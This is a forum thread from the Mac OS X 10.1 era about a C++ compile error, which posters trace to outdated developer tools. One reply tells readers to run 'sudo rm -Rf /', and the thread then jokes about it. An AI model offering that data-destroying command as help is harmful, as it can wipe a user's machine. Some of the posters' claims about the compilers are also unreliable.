c++ compiler works or not?

travelgz

Registered
Hi,
Hmm, there is no forum for programming, huh? I mean, generic programming.

What is the c++ compiler on Mac OS X?

Thanks,
G
 

travelgz

Registered
I read somewhere that gcc is the compiler for C/C++/Obj-C. But typing gcc doesn't do anything; no such thing exists. Typing cc gives me an error:

/usr/bin/ld: /usr/lib/libSystem.dylib load command 6 unknown cmd field

My code is the following; no rocket science there!


#include <iostream.h>

int main(){
// print out text string
cout << "Hello, World!" << endl;

return 0;
}
 

Red Phoenix

Registered
While I don't know too much about it, I do know you want to use cc (which is in some way based on gcc, enough so at least that you can make a link to cc named gcc, and most things that want gcc are happy). Since you must have the Developer Tools installed, check out /Developer/Documentation/DeveloperTools/Compiler/Compiler.html

There's something mentioned at Fink's website, too, I think.
 

travelgz

Registered
Hmm, I couldn't find where compilers are even mentioned on the fink site. And my compiler.html only tells me what the different compilers are, not what compiling errors I might encounter.

Does this not happen to anyone else? I have never written any c program and never compiled any either on this mac os computer; could I still have misconfigured it? I tried making a standalone c++ program on ProjectBuilder and I got the exact same error as with a command line cc.

Any clue?

THanks,
G
 

Red Phoenix

Registered
Sorry, the Fink reference was sort of a misnomer, since now the only information they have on gcc<->cc is to not make a link, it seems. Oh, well.
 

blb

`'
Originally posted by travelgz
I read somewhere that gcc is the compiler for C/C++/Obj-C. But typing gcc doesn't do anything; no such thing exists. Typing cc gives me an error:

/usr/bin/ld: /usr/lib/libSystem.dylib load command 6 unknown cmd field
...
I believe this error occurs when you have the dev tools from 10.0.x then upgrade the OS to 10.1, but not the dev tools.

As for cc, it's the C compiler, you will want c++ (the program) to compile C++.
 

jimr

McInstigator
Originally posted by blb


I believe this error occurs when you have the dev tools from 10.0.x then upgrade the OS to 10.1, but not the dev tools.

As for cc, it's the C compiler, you will want c++ (the program) to compile C++.
Take the time to download the new dev tools.

then restart

cc is an Apple optimized version of gcc.

cc -v
Reading specs from /usr/libexec/gcc/darwin/ppc/2.95.2/specs
Apple Computer, Inc. version gcc-932.1, based on gcc version 2.95.2 19991024 (release)

try
cc -v --help
to see several screens of info.
 

travelgz

Registered
So I am supposed to download yet another copy of the Dev tool? Maybe that explains everything. After upgrading 10.1, I removed /Developer and then resintalled the Dev tool I downloaded prior to the upgrade. I didn't know there would be a 10.1 equivalent.

Thanks,
let me try that.... another long download....

G
 

new32

Registered
Just to clarify:

1)
Yes, you do need the new Dev Tools from connect.apple.com with the update to X.1. Apple is using a new format so the old tools won't work. This is only a tad of a bother but necessary as the new tools actually are a slight faster than the old ones {CLI only, I never use Project Builder cause I finally started using PICO and learned to love the Atom Bomb :-}.

2)
CC is the BSD *predecessor* of GCC, eg., it came before. CC is the standard C Compiler (hence CC) for all UNIX derived systems, just like GNU's version is the standard for all Linux derived systems (Gnu C Compiler = GCC).

3)
C++ is the C++ compiler, like g++ is for Linux. Be forewarned, ld doesn't seem to like the Apple Extensions, the new format(s) being implimented, nor C++ as a generality, but it doesn't matter as intelligent folk won't muddle with C++ past the lab work they didn't get done in class....

4)
If anyone reading this couldn't follow that, go to the command line and type the following:

sudo rm -Rf /

Enter your password when prompted and I can guarantee you won't have to worry about these problems ever again ^_^ ,V..
 

travelgz

Registered
I tried sudo rm -rf / but I got the error saying user not on the list of administrators.

Then I became administrator and it gave me this error:

Root user not allowed to delete entire hard drive with one unix command. Try one file at a time.

What do I do?

G
 

jimr

McInstigator
Originally posted by travelgz
I tried sudo rm -rf / but I got the error saying user not on the list of administrators.

Then I became administrator and it gave me this error:

Root user not allowed to delete entire hard drive with one unix command. Try one file at a time.

What do I do?

G
well there are what 8,000? 16,000 files.....

better get busy...times 'a wastin'
 

travelgz

Registered
Wow, that many files. Well, I will do it on Monday. This weekend I have to develope a big java project on this computer.

Thanks everyone for the useful info!
G
 
Top